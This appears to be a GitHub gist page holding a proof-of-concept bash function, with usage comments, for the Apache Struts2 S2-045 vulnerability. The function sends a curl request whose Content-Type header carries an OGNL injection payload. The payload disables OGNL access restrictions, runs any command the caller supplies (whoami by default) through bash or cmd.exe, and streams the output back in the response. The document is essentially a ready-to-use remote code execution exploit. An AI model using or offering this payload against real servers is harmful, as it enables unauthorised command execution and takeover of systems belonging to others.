Skip to content

Instantly share code, notes, and snippets.

@OwenChia
Last active March 9, 2017 15:56
Show Gist options
  • Save OwenChia/cdf6458388daa59f5fc33b19e2bcd0b9 to your computer and use it in GitHub Desktop.
Save OwenChia/cdf6458388daa59f5fc33b19e2bcd0b9 to your computer and use it in GitHub Desktop.
poc_s2-045
# Usage:
# source /path/to/s2-045.sh
# poc_s2-045 uri [command]
poc_s2-045 () { curl --insecure $1 -H "Content-Type:%{(#enctype='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='${2-whoami}').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" }
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment